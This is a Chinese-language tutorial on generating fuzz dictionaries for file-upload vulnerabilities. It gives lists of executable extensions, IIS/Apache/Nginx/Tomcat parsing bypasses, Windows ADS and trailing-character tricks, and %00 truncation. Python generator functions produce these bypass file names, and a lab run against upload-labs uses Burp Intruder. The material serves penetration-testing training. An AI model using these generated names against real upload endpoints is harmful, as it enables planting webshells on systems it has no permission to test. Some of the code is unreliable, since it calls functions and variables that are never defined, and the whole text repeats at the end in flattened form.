构造优质上传漏洞Fuzz字典
字数 1612 2025-08-18 11:37:42

上传漏洞Fuzz字典构造教学文档

一、上传漏洞概述

上传漏洞是Web安全中常见的高危漏洞,攻击者通过精心构造的上传文件名绕过服务器过滤机制,上传恶意脚本文件(如webshell)。利用方式因语言、中间件和操作系统的不同而有所差异。

二、上传漏洞利用关键因素

  1. 可解析的后缀:不同语言有多个可解析后缀
  2. 大小写混合:系统过滤不严时可能绕过
  3. 中间件特性:各中间件特有的解析漏洞
  4. 系统特性:特别是Windows系统的特殊处理
  5. 语言漏洞:如%00截断漏洞
  6. 双后缀:存在于代码逻辑中的绕过方式

三、可解析后缀列表

ASP/ASPX

asp, aspx, asa, asax, ascx, ashx, asmx, cer, aSp, aSpx, aSa, aSax, aScx, aShx, aSmx, cEr

PHP

php, php5, php4, php3, php2, pHp, pHp5, pHp4, pHp3, pHp2, html, htm, phtml, pht, Html, Htm, pHtml

JSP

jsp, jspa, jspx, jsw, jsv, jspf, jtml, jSp, jSpx, jSpa, jSw, jSv, jSpf, jHtml

四、大小写混合处理

字符串大小写混合函数

def str_case_mixing(word):
    str_list = []
    word = word.lower()
    tempWord = copy.deepcopy(word)
    plist = []
    redict = {}
    for char in range(len(tempWord)):
        char = word[char]
        plist.append(char)
    num = len(plist)
    for i in range(num):
        for j in range(i, num + 1):
            sContent = ''.join(plist[0:i])
            mContent = ''.join(plist[i:j])
            mContent = mContent.upper()
            eContent = ''.join(plist[j:])
            content = '''%s%s%s''' % (sContent,mContent,eContent)
            redict[content] = None
    for i in redict.keys():
        str_list.append(i)
    return str_list

列表大小写混合函数

def list_case_mixing(li):
    res = []
    for l in li:
        res += uperTest(l)
    return res

五、中间件漏洞处理

1. IIS漏洞

  • IIS6.0文件解析xx.asp;.jpg
  • IIS6.0目录解析xx.asp/1.jpg(与上传文件名无关)
  • IIS7.0畸形解析xxx.jpg/x.asp(与上传文件名无关)
def iis_suffix_creater(suffix):
    res = []
    for l in suffix:
        str ='%s;.%s' % (l,allow_suffix)
        res.append(str)
    return res

2. Apache漏洞

  • %0a (CVE-2017-15715)
  • 未知后缀:test.php.xxx
def apache_suffix_creater(suffix):
    res = []
    for l in suffix:
        str = '%s.xxx' % l
        res.append(str)
        str = '%s%s' % (l,urllib.unquote('%0a')) #CVE-2017-15715
        res.append(str)
    return res

3. Nginx漏洞

  • test.jpg/xxx.php
  • test.jpg%00xxx.php (CVE-2013-4547)
  • test.jpg(非编码空格)\0x.php

4. Tomcat漏洞(仅Windows)

  • xxx.jsp/
  • xxx.jsp%20
  • xxx.jsp::$DATA
win_tomcat = ['%20','::$DATA','/']
def tomcat_suffix_creater(suffix):
    res = []
    for l in suffix:
        for t in win_tomcat:
            str = '%s%s' % (l,t)
            res.append(str)
    return res

5. .htaccess处理

if (middleware == 'apache' or middleware == 'all') and (os == 'win' or os == 'all'):
    htaccess_suffix = uperTest(".htaccess")
elif (middleware == 'apache' or middleware == 'all') and os == 'linux':
    htaccess_suffix = ['.htaccess']
else:
    htaccess_suffix = []

六、语言、中间件与操作系统关系

语言 IIS Apache Tomcat Windows Linux
ASP/ASPX ×
PHP
JSP ×

七、系统特性处理

Windows系统特性

  • 文件名不区分大小写
  • ADS流特性:xxx.php::$DATA = xxx.php
  • 文件名结尾特殊字符:., , <, >, >>>, 0x81-0xff
def str_81_to_ff():
    res = []
    for i in range(129,256):
        str = '%x' % i
        str = '%' + str
        str = urllib.unquote(str)
        res.append(str)
    return res

windows_os = ['.',' ','>','>>','>>>','%20','%00'] + str_81_to_ff()

def windows_suffix_builder(suffix):
    res = []
    for s in suffix:
        for w in windows_os:
            str = '%s%s' % (s,w)
            res.append(str)
    return res

八、语言漏洞处理

%00截断和0x00截断

def str_00_truncation(suffix,allow_suffix):
    res = []
    for i in suffix:
        str = '%s%s.%s' % (i,'%00',allow_suffix)
        res.append(str)
        str = '%s%s.%s' % (i,urllib.unquote('%00'),allow_suffix)
        res.append(str)
    return res

九、双后缀处理

def str_double_suffix_creater(suffix):
    res = []
    for i in range(1,len(suffix)):
        str = list(suffix)
        str.insert(i,suffix)
        res.append("".join(str))
    return res

def list_double_suffix_creater(list_suffix):
    res = []
    for l in list_suffix:
        res += double_suffix_creater(l)
    return duplicate_removal(res)

十、工具使用

upload-fuzz-dic-builder.py参数说明

usage: upload-fuzz-dic-builder [-h] [-n] [-a] [-l] [-m] [--os] [-d] [-o]

optional arguments:
  -h, --help            show this help message and exit
  -n , --upload-filename
                        Upload file name
  -a , --allow-suffix   Allowable upload suffix
  -l , --language       Uploaded script language
  -m , --middleware     Middleware used in Web System
  --os                  Target operating system type
  -d, --double-suffix   Is it possible to generate double suffix?
  -o , --output         Output file

使用示例

python upload-fuzz-dic-builder.py -l php -m apache --os win

十一、实战案例(upload-labs Pass-09)

  1. 生成fuzz字典:
python upload-fuzz-dic-builder.py -l php -m apache --os win

输出:

[+] 收集17条可解析后缀完毕!
[+] 加入145条可解析后缀大小写混合完毕!
[+] 加入152条中间件漏洞完毕!
[+] 加入37条.htaccess完毕!
[+] 加入10336条系统特性完毕!
[+] 去重后共10753条数据写入upload_fuzz_dic.txt文件
  1. 使用Burp Suite的Intruder模块对上传名称进行fuzz

  2. 分析fuzz结果,找出可用的payload

十二、总结

通过分析上传漏洞的各个影响因素,可以构造针对性的fuzz字典,大大提高发现可用payload的效率。关键点包括:

  1. 准确识别目标系统的语言、中间件和操作系统
  2. 根据识别结果选择相应的生成规则
  3. 使用工具自动化生成测试字典
  4. 结合Burp Suite等工具进行高效fuzz测试
上传漏洞Fuzz字典构造教学文档 一、上传漏洞概述 上传漏洞是Web安全中常见的高危漏洞,攻击者通过精心构造的上传文件名绕过服务器过滤机制,上传恶意脚本文件(如webshell)。利用方式因语言、中间件和操作系统的不同而有所差异。 二、上传漏洞利用关键因素 可解析的后缀 :不同语言有多个可解析后缀 大小写混合 :系统过滤不严时可能绕过 中间件特性 :各中间件特有的解析漏洞 系统特性 :特别是Windows系统的特殊处理 语言漏洞 :如%00截断漏洞 双后缀 :存在于代码逻辑中的绕过方式 三、可解析后缀列表 ASP/ASPX asp, aspx, asa, asax, ascx, ashx, asmx, cer, aSp, aSpx, aSa, aSax, aScx, aShx, aSmx, cEr PHP php, php5, php4, php3, php2, pHp, pHp5, pHp4, pHp3, pHp2, html, htm, phtml, pht, Html, Htm, pHtml JSP jsp, jspa, jspx, jsw, jsv, jspf, jtml, jSp, jSpx, jSpa, jSw, jSv, jSpf, jHtml 四、大小写混合处理 字符串大小写混合函数 列表大小写混合函数 五、中间件漏洞处理 1. IIS漏洞 IIS6.0文件解析 : xx.asp;.jpg IIS6.0目录解析 : xx.asp/1.jpg (与上传文件名无关) IIS7.0畸形解析 : xxx.jpg/x.asp (与上传文件名无关) 2. Apache漏洞 %0a (CVE-2017-15715) 未知后缀: test.php.xxx 3. Nginx漏洞 test.jpg/xxx.php test.jpg%00xxx.php (CVE-2013-4547) test.jpg(非编码空格)\0x.php 4. Tomcat漏洞(仅Windows) xxx.jsp/ xxx.jsp%20 xxx.jsp::$DATA 5. .htaccess处理 六、语言、中间件与操作系统关系 | 语言 | IIS | Apache | Tomcat | Windows | Linux | |---------|-----|--------|--------|---------|-------| | ASP/ASPX | √ | √ | × | √ | √ | | PHP | √ | √ | √ | √ | √ | | JSP | √ | × | √ | √ | √ | 七、系统特性处理 Windows系统特性 文件名不区分大小写 ADS流特性: xxx.php::$DATA = xxx.php 文件名结尾特殊字符: . , , < , > , >>> , 0x81-0xff 八、语言漏洞处理 %00截断和0x00截断 九、双后缀处理 十、工具使用 upload-fuzz-dic-builder.py参数说明 使用示例 十一、实战案例(upload-labs Pass-09) 生成fuzz字典: 输出: 使用Burp Suite的Intruder模块对上传名称进行fuzz 分析fuzz结果,找出可用的payload 十二、总结 通过分析上传漏洞的各个影响因素,可以构造针对性的fuzz字典,大大提高发现可用payload的效率。关键点包括: 准确识别目标系统的语言、中间件和操作系统 根据识别结果选择相应的生成规则 使用工具自动化生成测试字典 结合Burp Suite等工具进行高效fuzz测试